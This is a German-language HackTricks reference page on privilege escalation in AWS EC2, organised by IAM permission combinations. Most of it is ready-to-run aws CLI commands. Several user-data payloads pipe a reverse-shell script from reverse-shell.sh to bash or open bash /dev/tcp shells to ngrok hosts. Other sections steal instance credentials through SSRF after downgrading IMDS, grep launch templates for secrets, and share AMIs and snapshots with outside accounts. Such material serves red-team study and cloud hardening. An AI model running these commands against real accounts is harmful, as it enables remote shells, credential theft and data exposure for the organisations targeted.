AWS - EC2 Privesc

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

EC2

Weitere Informationen zu EC2:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Ein Angreifer könnte eine Instance erstellen, ihr eine IAM-Rolle anhängen und dann auf die Instance zugreifen, um die IAM-Rollen-Credentials vom metadata endpoint zu stehlen.

  • Zugriff über SSH

Starte eine neue Instance unter Verwendung eines erstellten ssh key (--key-name) und verbinde dich dann per ssh damit (wenn du einen neuen erstellen willst, benötigst du möglicherweise die Berechtigung ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Zugriff über rev shell in user data

Sie können eine neue Instanz mit einer user data (--user-data) starten, die Ihnen eine rev shell sendet. Sie müssen auf diese Weise keine security group angeben.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Sei vorsichtig mit GuradDuty, wenn du die Anmeldeinformationen der IAM role außerhalb der Instanz verwendest:

AWS - GuardDuty Enum

Potenzielle Auswirkung: Direkter privesc auf jede EC2 role, die an bestehende instance profiles angehängt ist.

Privesc zu ECS

Mit diesem Satz von Berechtigungen könntest du außerdem eine EC2 instance erstellen und sie in einem ECS cluster registrieren. Auf diese Weise werden ECS services innerhalb der EC2 instance, auf die du Zugriff hast, ausgeführt und du kannst diese services (docker containers) kompromittieren und ihre angehängten ECS roles stehlen.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Um zu lernen, wie man ECS services dazu zwingt, in dieser neuen EC2-Instanz ausgeführt zu werden, siehe:

AWS - ECS Privesc

Wenn du keine neue Instanz erstellen kannst, aber die Berechtigung ecs:RegisterContainerInstance besitzt, könntest du die Instanz im Cluster registrieren und den kommentierten Angriff durchführen.

Potentielle Auswirkungen: Direkter privesc zu an Tasks angehängten ECS-Rollen.

iam:PassRole, iam:AddRoleToInstanceProfile

Ähnlich zum vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen die IAM role einer kompromittierten Instanz ändern, sodass er neue Zugangsdaten stehlen kann.
Da ein instance profile nur 1 role haben kann, wenn das instance profile bereits eine role hat (häufiger Fall), benötigst du außerdem iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Wenn das instance profile hat eine role und der attacker es nicht entfernen kann, gibt es eine andere Umgehung. Er könnte finden ein instance profile ohne role oder ein neues erstellen (iam:CreateInstanceProfile), hinzufügen die role zu jenem instance profile (wie zuvor besprochen), und associate the instance profile compromised an eine compromised instance:

  • Wenn die instance keine instance profile hat (ec2:AssociateIamInstanceProfile)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potentielle Auswirkung: Direkte privesc auf eine andere EC2-Rolle (du musst eine AWS EC2-Instanz kompromittiert haben und zusätzliche Berechtigungen oder einen bestimmten Instanzprofil-Status besitzen).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Mit diesen Berechtigungen ist es möglich, das einer Instanz zugeordnete Instanzprofil zu ändern. Wenn ein Angreifer bereits Zugriff auf eine Instanz hat, kann er dadurch Anmeldeinformationen für weitere Instanzprofil-Rollen stehlen, indem er das damit verknüpfte Profil austauscht.

  • Wenn die Instanz ein Instanzprofil hat, kannst du das Instanzprofil entfernen (ec2:DisassociateIamInstanceProfile) und es assoziieren
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • oder ersetzen das instance profile der kompromittierten Instance (ec2:ReplaceIamInstanceProfileAssociation).
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>

Mögliche Auswirkungen: Direkter privesc zu einer anderen EC2 role (du musst eine AWS EC2 instance kompromittiert haben und einige zusätzliche Berechtigungen oder einen bestimmten instance profile Status).

ec2:RequestSpotInstances,iam:PassRole

Ein Angreifer mit den Berechtigungen ec2:RequestSpotInstances und iam:PassRole kann eine Spot Instance anfordern, mit einer angehängten EC2 Role und einer rev shell in den user data.
Sobald die Instance ausgeführt wird, kann er die IAM role stehlen.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Ein Angreifer mit der ec2:ModifyInstanceAttribute kann die Attribute einer Instanz ändern. Unter anderem kann er die user data ändern, wodurch er die Instanz dazu bringen kann, beliebigen Code auszuführen. Das kann genutzt werden, um eine rev shell auf die EC2-Instanz zu erhalten.

Beachte, dass die Attribute nur geändert werden können, während die Instanz gestoppt ist, daher werden die Berechtigungen ec2:StopInstances und ec2:StartInstances benötigt.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Mögliche Auswirkung: Direkter privesc auf jede an eine erstellte Instanz angehängte EC2 IAM Role.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Ein Angreifer mit den Berechtigungen ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate kann eine neue Launch Template-Version erstellen, die einen rev shell im user data enthält und jede EC2 IAM Role darauf zuweist, die Standardversion auf diese Version ändern; jede Autoscaler group, die dieses Launch Template verwendet und so konfiguriert ist, die latest oder die default version zu verwenden, wird die Instanzen mit diesem Template neu starten und den rev shell ausführen.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Mögliche Auswirkungen: Direkter privesc auf eine andere EC2 role.

(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)

Ein Angreifer mit den Berechtigungen autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole kann eine Launch Configuration erstellen mit einer IAM Role und einer rev shell im user data, dann eine autoscaling group aus dieser Konfiguration erstellen und darauf warten, dass die rev shell die IAM Role stiehlt.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Mögliche Auswirkung: Direkter privesc zu einer anderen EC2 role.

!autoscaling

Die Berechtigungen ec2:CreateLaunchTemplate und autoscaling:CreateAutoScalingGroup reichen NICHT aus, um Rechte auf eine IAM role zu eskalieren, denn um die im Launch Configuration oder im Launch Template angegebene Rolle anzuhängen, benötigt man die Berechtigungen iam:PassRole und ec2:RunInstances (was ein bekannter privesc ist).

ec2-instance-connect:SendSSHPublicKey

Ein Angreifer mit der Berechtigung ec2-instance-connect:SendSSHPublicKey kann einem Benutzer einen ssh key hinzufügen und diesen nutzen, um darauf zuzugreifen (falls er ssh access zur Instanz hat) oder um Privilegien zu eskalieren.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Potential Impact: Direkter privesc zu den EC2 IAM roles, die an laufende Instances angehängt sind.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Ein Angreifer mit der Berechtigung ec2-instance-connect:SendSerialConsoleSSHPublicKey kann einen ssh key zu einer seriellen Konsole hinzufügen. Falls die serielle Konsole nicht aktiviert ist, benötigt der Angreifer die Berechtigung ec2:EnableSerialConsoleAccess, um sie zu aktivieren.

Um eine Verbindung zur seriellen Schnittstelle herzustellen, muss der Angreifer außerdem den Benutzernamen und das Passwort eines Nutzers innerhalb der Maschine kennen.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Auf diese Weise ist es nicht sehr nützlich für privesc, da man einen Benutzernamen und ein Passwort kennen muss, um es auszunutzen.

Mögliche Auswirkungen: (kaum beweisbar) Direkter privesc zu den EC2 IAM roles, die an laufende Instanzen angehängt sind.

describe-launch-templates,describe-launch-template-versions

Da launch templates Versionierung haben, könnte ein Angreifer mit ec2:describe-launch-templates und ec2:describe-launch-template-versions Berechtigungen diese ausnutzen, um sensible Informationen zu entdecken, wie z. B. Anmeldeinformationen, die in user data vorhanden sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren launch templates:

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

In den oben gezeigten Befehlen, obwohl wir bestimmte Muster (aws_|password|token|api) angeben, kannst du eine andere Regex verwenden, um nach anderen Arten sensibler Informationen zu suchen.

Angenommen, wir finden aws_access_key_id und aws_secret_access_key, können wir diese Anmeldeinformationen verwenden, um uns bei AWS zu authentifizieren.

Potentielle Auswirkung: Direkte Privilegieneskalation auf IAM-Benutzer (ein oder mehrere).

Referenzen

ec2:ModifyInstanceMetadataOptions (IMDS-Downgrade, um SSRF-basierten Diebstahl von Anmeldeinformationen zu ermöglichen)

Ein Angreifer mit der Fähigkeit, ec2:ModifyInstanceMetadataOptions auf einer Opfer-EC2-Instanz aufzurufen, kann die IMDS-Schutzmechanismen schwächen, indem er IMDSv1 (HttpTokens=optional) aktiviert und das HttpPutResponseHopLimit erhöht. Dadurch wird der instance metadata endpoint über übliche SSRF/proxy-Pfade von auf der Instanz laufenden Anwendungen erreichbar. Wenn der Angreifer in einer solchen Anwendung eine SSRF auslösen kann, kann er die instance profile credentials abrufen und damit pivotieren.

  • Erforderliche Berechtigungen: ec2:ModifyInstanceMetadataOptions auf der Zielinstanz (zuzüglich der Möglichkeit, auf dem Host eine SSRF zu erreichen/auszulösen).
  • Zielressource: Die laufende EC2-Instanz mit einem angehängten instance profile (IAM role).

Beispielbefehle:

# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'

# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled

# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity

# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1

Potentielle Auswirkung: Diebstahl von Instance-Profile-Anmeldeinformationen durch SSRF, was zu Privilegieneskalation und seitlicher Bewegung mit den EC2-Rollenberechtigungen führen kann.

ec2:ModifyInstanceMetadataOptions

Ein Angreifer mit der Berechtigung ec2:ModifyInstanceMetadataOptions kann die Schutzmechanismen des Instance Metadata Service (IMDS) abschwächen — zum Beispiel durch Erzwingen von IMDSv1 (wodurch HttpTokens nicht erforderlich sind) oder durch Erhöhen von HttpPutResponseHopLimit — und damit die Exfiltration temporärer Anmeldeinformationen erleichtern. Der relevanteste Angriffsvektor ist das Erhöhen von HttpPutResponseHopLimit: Durch das Erhöhen dieses Hop-Limits (TTL) ist der Endpoint 169.254.169.254 nicht mehr strikt auf den Netzwerk-Namespace der VM beschränkt und kann von anderen Prozessen/Containern erreicht werden, wodurch ein Diebstahl von Zugangsdaten ermöglicht wird.

aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2

ec2:ModifyImageAttribute, ec2:ModifySnapshotAttribute

Ein Angreifer mit den Berechtigungen ec2:ModifyImageAttribute und ec2:ModifySnapshotAttribute kann AMIs oder Snapshots mit anderen AWS-Konten teilen (oder sogar öffentlich machen) und dadurch Images oder Volumes offenlegen, die sensible Daten wie Konfigurationen, Zugangsdaten, Zertifikate oder Backups enthalten können. Durch das Ändern der AMI’s launch permissions oder der Snapshot’s create-volume permissions erlaubt der Angreifer Dritten, Instanzen von diesen Ressourcen zu starten oder Datenträger davon einzuhängen und auf deren Inhalte zuzugreifen.

Um ein AMI mit einem anderen Konto zu teilen:

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Um einen EBS snapshot mit einem anderen Konto zu teilen:

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks